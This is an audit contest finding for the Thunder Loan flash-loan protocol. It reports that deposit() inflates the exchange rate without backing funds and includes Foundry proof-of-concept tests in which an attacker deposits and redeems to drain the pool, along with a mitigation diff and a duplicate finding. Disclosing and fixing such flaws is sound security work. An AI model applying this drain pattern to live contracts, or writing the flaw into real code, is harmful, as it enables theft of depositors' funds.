Thunder Loan
AI First Flight #7
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EXP
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Submission Details
Severity: high
Valid

[H-01] Artificially updating exchangeRate in ThunderLoan::deposit allows immediate theft of pool funds

jekysah

Description

The ThunderLoan::deposit function is intended to accept underlying tokens from liquidity providers and mint them corresponding AssetToken shares. However, it incorrectly calculates a fee and invokes updateExchangeRate:

Solidity

uint256 calculatedFee = getCalculatedFee(token, amount);
assetToken.updateExchangeRate(calculatedFee);
​

Since the depositor only transfers amount into the vault and does not pay any fee, calling updateExchangeRate inflates the exchange rate without any underlying asset backing.


Risk Assessment

  • Likelihood: High. Any user or attacker can execute this at any time without prerequisites or external market dependencies.

  • Impact: High. A malicious actor can loop deposit and redeem within the same transaction to steal unearned tokens from existing liquidity providers, eventually draining the pool and causing protocol insolvency.

Proof of Concept

Add the following test function to test/unit/ThunderLoanTest.t.sol:

function testRedeem() public setAllowedToken hasDeposits {
AssetToken assetToken = thunderLoan.getAssetFromToken(tokenA);
// Arrange
address attacker = makeAddr("attacker");
tokenA.mint(attacker, 100e18);
​
uint256 attackerBalanceFirst = tokenA.balanceOf(attacker);
uint256 tokenABalanceBefore = tokenA.balanceOf(address(assetToken));
​
console.log("Attacker balance before:", attackerBalanceFirst);
console.log("TokenA reserve before: ", tokenABalanceBefore);
​
// Act
vm.startPrank(attacker);
tokenA.approve(address(thunderLoan), 100e18);
thunderLoan.deposit(tokenA, 100e18);
thunderLoan.redeem(tokenA, type(uint256).max);
vm.stopPrank();
​
uint256 tokenABalanceAfter = tokenA.balanceOf(address(assetToken));
uint256 attackerBalanceSecond = tokenA.balanceOf(attacker);
console.log("Attacker balance after: ", attackerBalanceSecond);
console.log("TokenA reserve after: ", tokenABalanceAfter);
​
// Assert
assert(attackerBalanceSecond > attackerBalanceFirst);
assert(tokenABalanceAfter < tokenABalanceBefore);
assertEq(attackerBalanceSecond - attackerBalanceFirst, tokenABalanceBefore - tokenABalanceAfter);
}

Recommended Mitigation

Remove the fee calculation and exchange rate update calls from ThunderLoan::deposit:

function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
AssetToken assetToken = s_tokenToAssetToken[token];
uint256 exchangeRate = assetToken.getExchangeRate();
uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
emit Deposit(msg.sender, token, amount);
assetToken.mint(msg.sender, mintAmount);
- uint256 calculatedFee = getCalculatedFee(token, amount);
- assetToken.updateExchangeRate(calculatedFee);
token.safeTransferFrom(msg.sender, address(assetToken), amount);
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 9 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Updating exchange rate on token deposit will inflate asset token's exchange rate faster than expected

# Summary Exchange rate for asset token is updated on deposit. This means users can deposit (which will increase exchange rate), and then immediately withdraw more underlying tokens than they deposited. # Details Per documentation: > Liquidity providers can deposit assets into ThunderLoan and be given AssetTokens in return. **These AssetTokens gain interest over time depending on how often people take out flash loans!** Asset tokens gain interest when people take out flash loans with the underlying tokens. In current version of ThunderLoan, exchange rate is also updated when user deposits underlying tokens. This does not match with documentation and will end up causing exchange rate to increase on deposit. This will allow anyone who deposits to immediately withdraw and get more tokens back than they deposited. Underlying of any asset token can be completely drained in this manner. # Filename `src/protocol/ThunderLoan.sol` # Permalinks https://github.com/Cyfrin/2023-11-Thunder-Loan/blob/8539c83865eb0d6149e4d70f37a35d9e72ac7404/src/protocol/ThunderLoan.sol#L153-L154 # Impact Users can deposit and immediately withdraw more funds. Since exchange rate is increased on deposit, they will withdraw more funds then they deposited without any flash loans being taken at all. # Recommendations It is recommended to not update exchange rate on deposits and updated it only when flash loans are taken, as per documentation. ```diff function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) { AssetToken assetToken = s_tokenToAssetToken[token]; uint256 exchangeRate = assetToken.getExchangeRate(); uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate; emit Deposit(msg.sender, token, amount); assetToken.mint(msg.sender, mintAmount); - uint256 calculatedFee = getCalculatedFee(token, amount); - assetToken.updateExchangeRate(calculatedFee); token.safeTransferFrom(msg.sender, address(assetToken), amount); } ``` # POC ```solidity function testExchangeRateUpdatedOnDeposit() public setAllowedToken { tokenA.mint(liquidityProvider, AMOUNT); tokenA.mint(user, AMOUNT); // deposit some tokenA into ThunderLoan vm.startPrank(liquidityProvider); tokenA.approve(address(thunderLoan), AMOUNT); thunderLoan.deposit(tokenA, AMOUNT); vm.stopPrank(); // another user also makes a deposit vm.startPrank(user); tokenA.approve(address(thunderLoan), AMOUNT); thunderLoan.deposit(tokenA, AMOUNT); vm.stopPrank(); AssetToken assetToken = thunderLoan.getAssetFromToken(tokenA); // after a deposit, asset token's exchange rate has aleady increased // this is only supposed to happen when users take flash loans with underlying assertGt(assetToken.getExchangeRate(), 1 * assetToken.EXCHANGE_RATE_PRECISION()); // now liquidityProvider withdraws and gets more back because exchange // rate is increased but no flash loans were taken out yet // repeatedly doing this could drain all underlying for any asset token vm.startPrank(liquidityProvider); thunderLoan.redeem(tokenA, assetToken.balanceOf(liquidityProvider)); vm.stopPrank(); assertGt(tokenA.balanceOf(liquidityProvider), AMOUNT); } ```

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